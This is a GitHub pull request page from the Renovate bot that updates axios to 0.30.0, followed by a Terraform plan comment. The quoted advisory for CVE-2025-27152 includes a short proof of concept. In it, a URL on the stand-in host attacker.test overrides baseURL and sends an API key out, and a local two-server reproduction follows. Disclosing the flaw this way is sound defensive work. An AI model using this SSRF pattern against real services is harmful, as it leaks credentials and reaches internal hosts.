Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Nov 11, 2023

This PR contains the following updates:

Package Change Age Confidence
axios (source) 0.27.20.30.0 age confidence

GitHub Vulnerability Alerts

CVE-2023-45857

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

CVE-2025-27152

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Release Notes

axios/axios (axios)

v0.30.0

Compare Source

Release notes:

Bug Fixes
Contributors to this release

Full Changelog: axios/axios@v0.29.0...v0.30.0

v0.29.0

Compare Source

Release notes:

Bug Fixes
Contributors to this release

v0.28.1

Compare Source

Release notes:

Release notes:

Bug Fixes
  • fix(backport): custom params serializer support (#​6263)
  • fix(backport): uncaught ReferenceError req is not defined (#​6307)

v0.28.0

Compare Source

Release notes:

Bug Fixes
Backports from v1.x:
  • Allow null indexes on formSerializer and paramsSerializer v0.x (#​4961)
  • Fixing content-type header repeated #​4745
  • Fixed timeout error message for HTTP 4738
  • Added axios.formToJSON method (#​4735)
  • URL params serializer (#​4734)
  • Fixed toFormData Blob issue on node>v17 #​4728
  • Adding types for progress event callbacks #​4675
  • Fixed max body length defaults #​4731
  • Added data URL support for node.js (#​4725)
  • Added isCancel type assert (#​4293)
  • Added the ability for the url-encoded-form serializer to respect the formSerializer config (#​4721)
  • Add string[] to AxiosRequestHeaders type (#​4322)
  • Allow type definition for axios instance methods (#​4224)
  • Fixed AxiosError stack capturing; (#​4718)
  • Fixed AxiosError status code type; (#​4717)
  • Adding Canceler parameters config and request (#​4711)
  • fix(types): allow to specify partial default headers for instance creation (#​4185)
  • Added blob to the list of protocols supported by the browser (#​4678)
  • Fixing Z_BUF_ERROR when no content (#​4701)
  • Fixed race condition on immediate requests cancellation (#​4261)
  • Added a clear() function to the request and response interceptors object so a user can ensure that all interceptors have been removed from an Axios instance #​4248
  • Added generic AxiosAbortSignal TS interface to avoid importing AbortController polyfill (#​4229)
  • Fix TS definition for AxiosRequestTransformer (#​4201)
  • Use type alias instead of interface for AxiosPromise (#​4505)
  • Include request and config when creating a CanceledError instance (#​4659)
  • Added generic TS types for the exposed toFormData helper (#​4668)
  • Optimized the code that checks cancellation (#​4587)
  • Replaced webpack with rollup (#​4596)
  • Added stack trace to AxiosError (#​4624)
  • Updated AxiosError.config to be optional in the type definition (#​4665)
  • Removed incorrect argument for NetworkError constructor (#​4656)

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@github-actions
Copy link

github-actions bot commented Nov 11, 2023

Terraform Format and Style 🖌success

Terraform Initialization ⚙️success

Terraform Plan 📖success

Show Plan
terraform
module.thadmin_routing.module.cloudfront.aws_cloudfront_origin_access_identity.this["s3_bucket"]: Refreshing state... [id=E3JOC36ODMBL65]
module.thadmin_hosting.aws_s3_bucket.this: Refreshing state... [id=thalia-thadmin-staging]
module.thadmin_routing.module.acm.aws_acm_certificate.this: Refreshing state... [id=arn:aws:acm:us-east-1:627002765486:certificate/565d3a00-d047-48f2-956a-aed08dd6956b]
module.thadmin_routing.module.acm.aws_route53_record.validation["thadmin-staging.technicie.nl"]: Refreshing state... [id=Z3I4ZHBBD5NSHU__f4c1968cf0da5157d0f46ed63ecf426e.thadmin-staging.technicie.nl._CNAME]
module.thadmin_routing.module.acm.aws_acm_certificate_validation.this: Refreshing state... [id=2022-03-15 04:55:50.004 +0000 UTC]
module.thadmin_hosting.aws_s3_bucket_acl.this: Refreshing state... [id=thalia-thadmin-staging,private]
module.thadmin_hosting.aws_s3_bucket_cors_configuration.this: Refreshing state... [id=thalia-thadmin-staging]
module.thadmin_routing.module.cloudfront.aws_cloudfront_distribution.this[0]: Refreshing state... [id=E2ZP8HCBLISQFN]
module.thadmin_routing.aws_s3_bucket_policy.bucket_policy: Refreshing state... [id=thalia-thadmin-staging]
module.thadmin_routing.aws_route53_record.api: Refreshing state... [id=Z3I4ZHBBD5NSHU_thadmin-staging_A]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-2436-1125.jpg"]: Refreshing state... [id=apple-splash-2436-1125.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["index.html"]: Refreshing state... [id=index.html]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-2688-1242.jpg"]: Refreshing state... [id=apple-splash-2688-1242.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["js/499.1480f83d.js.map"]: Refreshing state... [id=thalia-thadmin-staging/js/499.1480f83d.js.map]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-1242-2208.jpg"]: Refreshing state... [id=apple-splash-1242-2208.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-2532-1170.jpg"]: Refreshing state... [id=apple-splash-2532-1170.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["img/backgroundImage.24f22a44.jpg"]: Refreshing state... [id=img/backgroundImage.24f22a44.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-2048-1536.jpg"]: Refreshing state... [id=apple-splash-2048-1536.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["css/chunk-vendors.bd40d1d7.css"]: Refreshing state... [id=thalia-thadmin-staging/css/chunk-vendors.bd40d1d7.css]
module.thadmin_hosting.aws_s3_object.code_build_object["js/app.45964e33.js.map"]: Refreshing state... [id=thalia-thadmin-staging/js/app.45964e33.js.map]
module.thadmin_hosting.aws_s3_object.code_build_object["favicon.svg"]: Refreshing state... [id=favicon.svg]
module.thadmin_hosting.aws_s3_object.code_build_object["mstile-144x144.png"]: Refreshing state... [id=mstile-144x144.png]
module.thadmin_hosting.aws_s3_object.code_build_object["favicon.png"]: Refreshing state... [id=favicon.png]
module.thadmin_hosting.aws_s3_object.code_build_object["js/499.1480f83d.js"]: Refreshing state... [id=thalia-thadmin-staging/js/499.1480f83d.js]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-2048-2732.jpg"]: Refreshing state... [id=apple-splash-2048-2732.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-2208-1242.jpg"]: Refreshing state... [id=apple-splash-2208-1242.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["js/chunk-vendors.cb611119.js.map"]: Refreshing state... [id=thalia-thadmin-staging/js/chunk-vendors.cb611119.js.map]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-640-1136.jpg"]: Refreshing state... [id=apple-splash-640-1136.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["mstile-310x150.png"]: Refreshing state... [id=mstile-310x150.png]
module.thadmin_hosting.aws_s3_object.code_build_object["mstile-310x310.png"]: Refreshing state... [id=mstile-310x310.png]
module.thadmin_hosting.aws_s3_object.code_build_object["favicon-16x16.png"]: Refreshing state... [id=favicon-16x16.png]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-2778-1284.jpg"]: Refreshing state... [id=apple-splash-2778-1284.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-1136-640.jpg"]: Refreshing state... [id=apple-splash-1136-640.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-1284-2778.jpg"]: Refreshing state... [id=apple-splash-1284-2778.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-750-1334.jpg"]: Refreshing state... [id=apple-splash-750-1334.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["js/chunk-vendors.cb611119.js"]: Refreshing state... [id=thalia-thadmin-staging/js/chunk-vendors.cb611119.js]
module.thadmin_hosting.aws_s3_object.code_build_object["safari-pinned-tab.svg"]: Refreshing state... [id=safari-pinned-tab.svg]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-1620-2160.jpg"]: Refreshing state... [id=apple-splash-1620-2160.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["css/app.3dadf1fd.css"]: Refreshing state... [id=css/app.3dadf1fd.css]
module.thadmin_hosting.aws_s3_object.code_build_object["browserconfig.xml"]: Refreshing state... [id=browserconfig.xml]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-1242-2688.jpg"]: Refreshing state... [id=apple-splash-1242-2688.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["js/app.45964e33.js"]: Refreshing state... [id=thalia-thadmin-staging/js/app.45964e33.js]
module.thadmin_hosting.aws_s3_object.code_build_object["android-chrome-192x192.png"]: Refreshing state... [id=android-chrome-192x192.png]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-touch-icon.png"]: Refreshing state... [id=apple-touch-icon.png]
module.thadmin_hosting.aws_s3_object.code_build_object["img/anonymousUser.c7a94bce.jpg"]: Refreshing state... [id=img/anonymousUser.c7a94bce.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["android-chrome-512x512.png"]: Refreshing state... [id=android-chrome-512x512.png]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-1170-2532.jpg"]: Refreshing state... [id=apple-splash-1170-2532.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-1334-750.jpg"]: Refreshing state... [id=apple-splash-1334-750.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-828-1792.jpg"]: Refreshing state... [id=apple-splash-828-1792.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-1668-2224.jpg"]: Refreshing state... [id=apple-splash-1668-2224.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-2160-1620.jpg"]: Refreshing state... [id=apple-splash-2160-1620.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["mstile-150x150.png"]: Refreshing state... [id=mstile-150x150.png]
module.thadmin_hosting.aws_s3_object.code_build_object["favicon.ico"]: Refreshing state... [id=favicon.ico]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-2388-1668.jpg"]: Refreshing state... [id=apple-splash-2388-1668.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["mstile-70x70.png"]: Refreshing state... [id=mstile-70x70.png]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-2732-2048.jpg"]: Refreshing state... [id=apple-splash-2732-2048.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-1668-2388.jpg"]: Refreshing state... [id=apple-splash-1668-2388.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-1792-828.jpg"]: Refreshing state... [id=apple-splash-1792-828.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["favicon-32x32.png"]: Refreshing state... [id=favicon-32x32.png]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-1125-2436.jpg"]: Refreshing state... [id=apple-splash-1125-2436.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["site.webmanifest"]: Refreshing state... [id=site.webmanifest]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-1536-2048.jpg"]: Refreshing state... [id=apple-splash-1536-2048.jpg]
module.thadmin_hosting.aws_s3_object.code_build_object["apple-splash-2224-1668.jpg"]: Refreshing state... [id=apple-splash-2224-1668.jpg]

An execution plan has been generated and is shown below.
Resource actions are indicated with the following symbols:

  • create
    ~ update in-place
  • destroy

Terraform will perform the following actions:

module.thadmin_hosting.aws_s3_object.code_build_object["img/backgroundImage.24f22a44.jpg"] will be updated in-place

~ resource "aws_s3_object" "code_build_object" {
~ etag = "407e69540c950ce3e893be2cbadd0f30-2" -> "5f59aad8b5eddf226c7e5a21939e4018"
id = "img/backgroundImage.24f22a44.jpg"
tags = {}
+ version_id = (known after apply)
# (12 unchanged attributes hidden)
}

module.thadmin_hosting.aws_s3_object.code_build_object["index.html"] will be updated in-place

~ resource "aws_s3_object" "code_build_object" {
~ etag = "2b2a2fe05a0600fac657c64f82b4d123" -> "aee56451d2811decb51c2d215046e22b"
id = "index.html"
tags = {}
+ version_id = (known after apply)
# (12 unchanged attributes hidden)
}

module.thadmin_hosting.aws_s3_object.code_build_object["js/499.1480f83d.js"] will be destroyed

  • resource "aws_s3_object" "code_build_object" {
    • arn = "arn:aws:s3:::thalia-thadmin-staging/js/499.1480f83d.js" -> null
    • bucket = "thalia-thadmin-staging" -> null
    • bucket_key_enabled = false -> null
    • content_type = "text/javascript" -> null
    • etag = "804526fc25c56a6c2549321a4e7ddfe3" -> null
    • force_destroy = false -> null
    • id = "thalia-thadmin-staging/js/499.1480f83d.js" -> null
    • key = "js/499.1480f83d.js" -> null
    • metadata = {} -> null
    • region = "eu-west-1" -> null
    • server_side_encryption = "AES256" -> null
    • source = "/home/runner/work/thadmin/thadmin/infra/modules/hosting/../../..//dist/js/499.1480f83d.js" -> null
    • storage_class = "STANDARD" -> null
    • tags = {} -> null
    • tags_all = {} -> null
      }

module.thadmin_hosting.aws_s3_object.code_build_object["js/499.1480f83d.js.map"] will be destroyed

  • resource "aws_s3_object" "code_build_object" {
    • arn = "arn:aws:s3:::thalia-thadmin-staging/js/499.1480f83d.js.map" -> null
    • bucket = "thalia-thadmin-staging" -> null
    • bucket_key_enabled = false -> null
    • content_type = "application/octet-stream" -> null
    • etag = "e85a2fd9f5bcb2faccd04f96e9e606ed" -> null
    • force_destroy = false -> null
    • id = "thalia-thadmin-staging/js/499.1480f83d.js.map" -> null
    • key = "js/499.1480f83d.js.map" -> null
    • metadata = {} -> null
    • region = "eu-west-1" -> null
    • server_side_encryption = "AES256" -> null
    • source = "/home/runner/work/thadmin/thadmin/infra/modules/hosting/../../..//dist/js/499.1480f83d.js.map" -> null
    • storage_class = "STANDARD" -> null
    • tags = {} -> null
    • tags_all = {} -> null
      }

module.thadmin_hosting.aws_s3_object.code_build_object["js/640.89155903.js"] will be created

  • resource "aws_s3_object" "code_build_object" {
    • acl = (known after apply)
    • arn = (known after apply)
    • bucket = "thalia-thadmin-staging"
    • bucket_key_enabled = (known after apply)
    • checksum_crc32 = (known after apply)
    • checksum_crc32c = (known after apply)
    • checksum_crc64nvme = (known after apply)
    • checksum_sha1 = (known after apply)
    • checksum_sha256 = (known after apply)
    • content_type = "text/javascript"
    • etag = "06ec59e4ef2fb1d9a8724b54da9f2109"
    • force_destroy = false
    • id = (known after apply)
    • key = "js/640.89155903.js"
    • kms_key_id = (known after apply)
    • region = "eu-west-1"
    • server_side_encryption = (known after apply)
    • source = "/home/runner/work/thadmin/thadmin/infra/modules/hosting/../../..//dist/js/640.89155903.js"
    • storage_class = (known after apply)
    • tags_all = (known after apply)
    • version_id = (known after apply)
      }

module.thadmin_hosting.aws_s3_object.code_build_object["js/640.89155903.js.map"] will be created

  • resource "aws_s3_object" "code_build_object" {
    • acl = (known after apply)
    • arn = (known after apply)
    • bucket = "thalia-thadmin-staging"
    • bucket_key_enabled = (known after apply)
    • checksum_crc32 = (known after apply)
    • checksum_crc32c = (known after apply)
    • checksum_crc64nvme = (known after apply)
    • checksum_sha1 = (known after apply)
    • checksum_sha256 = (known after apply)
    • content_type = "application/octet-stream"
    • etag = "92ba4344333dd58b64f95ae4c713d793"
    • force_destroy = false
    • id = (known after apply)
    • key = "js/640.89155903.js.map"
    • kms_key_id = (known after apply)
    • region = "eu-west-1"
    • server_side_encryption = (known after apply)
    • source = "/home/runner/work/thadmin/thadmin/infra/modules/hosting/../../..//dist/js/640.89155903.js.map"
    • storage_class = (known after apply)
    • tags_all = (known after apply)
    • version_id = (known after apply)
      }

module.thadmin_hosting.aws_s3_object.code_build_object["js/app.45964e33.js"] will be destroyed

  • resource "aws_s3_object" "code_build_object" {
    • arn = "arn:aws:s3:::thalia-thadmin-staging/js/app.45964e33.js" -> null
    • bucket = "thalia-thadmin-staging" -> null
    • bucket_key_enabled = false -> null
    • content_type = "text/javascript" -> null
    • etag = "4d2505a52648207191ffe826edff07ad" -> null
    • force_destroy = false -> null
    • id = "thalia-thadmin-staging/js/app.45964e33.js" -> null
    • key = "js/app.45964e33.js" -> null
    • metadata = {} -> null
    • region = "eu-west-1" -> null
    • server_side_encryption = "AES256" -> null
    • source = "/home/runner/work/thadmin/thadmin/infra/modules/hosting/../../..//dist/js/app.45964e33.js" -> null
    • storage_class = "STANDARD" -> null
    • tags = {} -> null
    • tags_all = {} -> null
      }

module.thadmin_hosting.aws_s3_object.code_build_object["js/app.45964e33.js.map"] will be destroyed

  • resource "aws_s3_object" "code_build_object" {
    • arn = "arn:aws:s3:::thalia-thadmin-staging/js/app.45964e33.js.map" -> null
    • bucket = "thalia-thadmin-staging" -> null
    • bucket_key_enabled = false -> null
    • content_type = "application/octet-stream" -> null
    • etag = "54ff5b954b6cd6411ae2f7bafe54debe" -> null
    • force_destroy = false -> null
    • id = "thalia-thadmin-staging/js/app.45964e33.js.map" -> null
    • key = "js/app.45964e33.js.map" -> null
    • metadata = {} -> null
    • region = "eu-west-1" -> null
    • server_side_encryption = "AES256" -> null
    • source = "/home/runner/work/thadmin/thadmin/infra/modules/hosting/../../..//dist/js/app.45964e33.js.map" -> null
    • storage_class = "STANDARD" -> null
    • tags = {} -> null
    • tags_all = {} -> null
      }

module.thadmin_hosting.aws_s3_object.code_build_object["js/app.64312f81.js"] will be created

  • resource "aws_s3_object" "code_build_object" {
    • acl = (known after apply)
    • arn = (known after apply)
    • bucket = "thalia-thadmin-staging"
    • bucket_key_enabled = (known after apply)
    • checksum_crc32 = (known after apply)
    • checksum_crc32c = (known after apply)
    • checksum_crc64nvme = (known after apply)
    • checksum_sha1 = (known after apply)
    • checksum_sha256 = (known after apply)
    • content_type = "text/javascript"
    • etag = "9531313624c515eeff84ec6b6ac6a43d"
    • force_destroy = false
    • id = (known after apply)
    • key = "js/app.64312f81.js"
    • kms_key_id = (known after apply)
    • region = "eu-west-1"
    • server_side_encryption = (known after apply)
    • source = "/home/runner/work/thadmin/thadmin/infra/modules/hosting/../../..//dist/js/app.64312f81.js"
    • storage_class = (known after apply)
    • tags_all = (known after apply)
    • version_id = (known after apply)
      }

module.thadmin_hosting.aws_s3_object.code_build_object["js/app.64312f81.js.map"] will be created

  • resource "aws_s3_object" "code_build_object" {
    • acl = (known after apply)
    • arn = (known after apply)
    • bucket = "thalia-thadmin-staging"
    • bucket_key_enabled = (known after apply)
    • checksum_crc32 = (known after apply)
    • checksum_crc32c = (known after apply)
    • checksum_crc64nvme = (known after apply)
    • checksum_sha1 = (known after apply)
    • checksum_sha256 = (known after apply)
    • content_type = "application/octet-stream"
    • etag = "74bd58b5e79b8050bb78f4ec50d8a907"
    • force_destroy = false
    • id = (known after apply)
    • key = "js/app.64312f81.js.map"
    • kms_key_id = (known after apply)
    • region = "eu-west-1"
    • server_side_encryption = (known after apply)
    • source = "/home/runner/work/thadmin/thadmin/infra/modules/hosting/../../..//dist/js/app.64312f81.js.map"
    • storage_class = (known after apply)
    • tags_all = (known after apply)
    • version_id = (known after apply)
      }

module.thadmin_hosting.aws_s3_object.code_build_object["js/chunk-vendors.26669f07.js"] will be created

  • resource "aws_s3_object" "code_build_object" {
    • acl = (known after apply)
    • arn = (known after apply)
    • bucket = "thalia-thadmin-staging"
    • bucket_key_enabled = (known after apply)
    • checksum_crc32 = (known after apply)
    • checksum_crc32c = (known after apply)
    • checksum_crc64nvme = (known after apply)
    • checksum_sha1 = (known after apply)
    • checksum_sha256 = (known after apply)
    • content_type = "text/javascript"
    • etag = "a88427864511cce36dd262daca52e052"
    • force_destroy = false
    • id = (known after apply)
    • key = "js/chunk-vendors.26669f07.js"
    • kms_key_id = (known after apply)
    • region = "eu-west-1"
    • server_side_encryption = (known after apply)
    • source = "/home/runner/work/thadmin/thadmin/infra/modules/hosting/../../..//dist/js/chunk-vendors.26669f07.js"
    • storage_class = (known after apply)
    • tags_all = (known after apply)
    • version_id = (known after apply)
      }

module.thadmin_hosting.aws_s3_object.code_build_object["js/chunk-vendors.26669f07.js.map"] will be created

  • resource "aws_s3_object" "code_build_object" {
    • acl = (known after apply)
    • arn = (known after apply)
    • bucket = "thalia-thadmin-staging"
    • bucket_key_enabled = (known after apply)
    • checksum_crc32 = (known after apply)
    • checksum_crc32c = (known after apply)
    • checksum_crc64nvme = (known after apply)
    • checksum_sha1 = (known after apply)
    • checksum_sha256 = (known after apply)
    • content_type = "application/octet-stream"
    • etag = "94077c50d1a169bd0dd04c220d770e62"
    • force_destroy = false
    • id = (known after apply)
    • key = "js/chunk-vendors.26669f07.js.map"
    • kms_key_id = (known after apply)
    • region = "eu-west-1"
    • server_side_encryption = (known after apply)
    • source = "/home/runner/work/thadmin/thadmin/infra/modules/hosting/../../..//dist/js/chunk-vendors.26669f07.js.map"
    • storage_class = (known after apply)
    • tags_all = (known after apply)
    • version_id = (known after apply)
      }

module.thadmin_hosting.aws_s3_object.code_build_object["js/chunk-vendors.cb611119.js"] will be destroyed

  • resource "aws_s3_object" "code_build_object" {
    • arn = "arn:aws:s3:::thalia-thadmin-staging/js/chunk-vendors.cb611119.js" -> null
    • bucket = "thalia-thadmin-staging" -> null
    • bucket_key_enabled = false -> null
    • content_type = "text/javascript" -> null
    • etag = "a5733cdf4026f6c35352b1ab3d664edd" -> null
    • force_destroy = false -> null
    • id = "thalia-thadmin-staging/js/chunk-vendors.cb611119.js" -> null
    • key = "js/chunk-vendors.cb611119.js" -> null
    • metadata = {} -> null
    • region = "eu-west-1" -> null
    • server_side_encryption = "AES256" -> null
    • source = "/home/runner/work/thadmin/thadmin/infra/modules/hosting/../../..//dist/js/chunk-vendors.cb611119.js" -> null
    • storage_class = "STANDARD" -> null
    • tags = {} -> null
    • tags_all = {} -> null
      }

module.thadmin_hosting.aws_s3_object.code_build_object["js/chunk-vendors.cb611119.js.map"] will be destroyed

  • resource "aws_s3_object" "code_build_object" {
    • arn = "arn:aws:s3:::thalia-thadmin-staging/js/chunk-vendors.cb611119.js.map" -> null
    • bucket = "thalia-thadmin-staging" -> null
    • bucket_key_enabled = false -> null
    • content_type = "application/octet-stream" -> null
    • etag = "39075a857beea0e18811cd71b81da717" -> null
    • force_destroy = false -> null
    • id = "thalia-thadmin-staging/js/chunk-vendors.cb611119.js.map" -> null
    • key = "js/chunk-vendors.cb611119.js.map" -> null
    • metadata = {} -> null
    • region = "eu-west-1" -> null
    • server_side_encryption = "AES256" -> null
    • source = "/home/runner/work/thadmin/thadmin/infra/modules/hosting/../../..//dist/js/chunk-vendors.cb611119.js.map" -> null
    • storage_class = "STANDARD" -> null
    • tags = {} -> null
    • tags_all = {} -> null
      }

Plan: 6 to add, 2 to change, 6 to destroy.

Warning: Value for undeclared variable

The root module does not declare a variable named "aws_profile" but a value
was found in file "terraform.tfvars". To use this value, add a "variable"
block to the configuration.

Using a variables file to set an undeclared variable is deprecated and will
become an error in a future release. If you wish to provide certain "global"
settings to all configurations in your organization, use TF_VAR_...
environment variables to set these instead.


Note: You didn't specify an "-out" parameter to save this plan, so Terraform
can't guarantee that exactly these actions will be performed if
"terraform apply" is subsequently run.

@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from d06d5ab to 832dea7 Compare December 30, 2023 12:49
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to v1 [SECURITY] - autoclosed Feb 12, 2024
@renovate renovate bot closed this Feb 12, 2024
@renovate renovate bot deleted the renovate/npm-axios-vulnerability branch February 12, 2024 19:07
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] - autoclosed Update dependency axios to v1 [SECURITY] Feb 12, 2024
@renovate renovate bot restored the renovate/npm-axios-vulnerability branch February 12, 2024 21:13
@renovate renovate bot reopened this Feb 12, 2024
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 832dea7 to 683f2a3 Compare February 12, 2024 21:13
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to v1 [SECURITY] - autoclosed Feb 20, 2024
@renovate renovate bot closed this Feb 20, 2024
@renovate renovate bot deleted the renovate/npm-axios-vulnerability branch February 20, 2024 21:56
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] - autoclosed Update dependency axios to v1 [SECURITY] Feb 21, 2024
@renovate renovate bot reopened this Feb 21, 2024
@renovate renovate bot restored the renovate/npm-axios-vulnerability branch February 21, 2024 00:14
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to v0.28.0 [SECURITY] Feb 21, 2024
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 683f2a3 to fb9ff26 Compare February 21, 2024 00:14
@renovate renovate bot enabled auto-merge (rebase) March 20, 2024 14:09
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 10 times, most recently from b42bd99 to d13a8d0 Compare March 7, 2025 22:38
@renovate renovate bot changed the title Update dependency axios to v0.28.0 [SECURITY] Update dependency axios to v1 [SECURITY] Mar 7, 2025
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to v0.28.0 [SECURITY] Mar 28, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from d13a8d0 to db2b2a1 Compare March 28, 2025 16:39
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 55fea0f to 8bafa4e Compare July 7, 2025 04:58
@renovate renovate bot changed the title Update dependency axios to v0.28.0 [SECURITY] Update dependency axios to v0.30.0 [SECURITY] Jul 7, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 3 times, most recently from e326590 to 62d08b8 Compare July 7, 2025 21:58
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 5 times, most recently from 7760ad1 to 2814ec1 Compare August 12, 2025 20:51
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 2814ec1 to 47a8013 Compare September 13, 2025 22:42
@renovate renovate bot changed the title Update dependency axios to v0.30.0 [SECURITY] Update dependency axios to v1 [SECURITY] Sep 13, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 47a8013 to e92e544 Compare September 29, 2025 22:13
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to v0.30.0 [SECURITY] Sep 29, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from e92e544 to 0e92444 Compare September 30, 2025 02:24
@renovate renovate bot changed the title Update dependency axios to v0.30.0 [SECURITY] Update dependency axios to v0.30.2 [SECURITY] Sep 30, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 6 times, most recently from 092e290 to d88f59a Compare November 21, 2025 16:52
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 4568557 to 3dcf8e5 Compare December 12, 2025 10:33
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 3dcf8e5 to f365be2 Compare January 16, 2026 14:59
@renovate renovate bot changed the title Update dependency axios to v0.30.2 [SECURITY] Update dependency axios to v0.30.0 [SECURITY] Jan 16, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant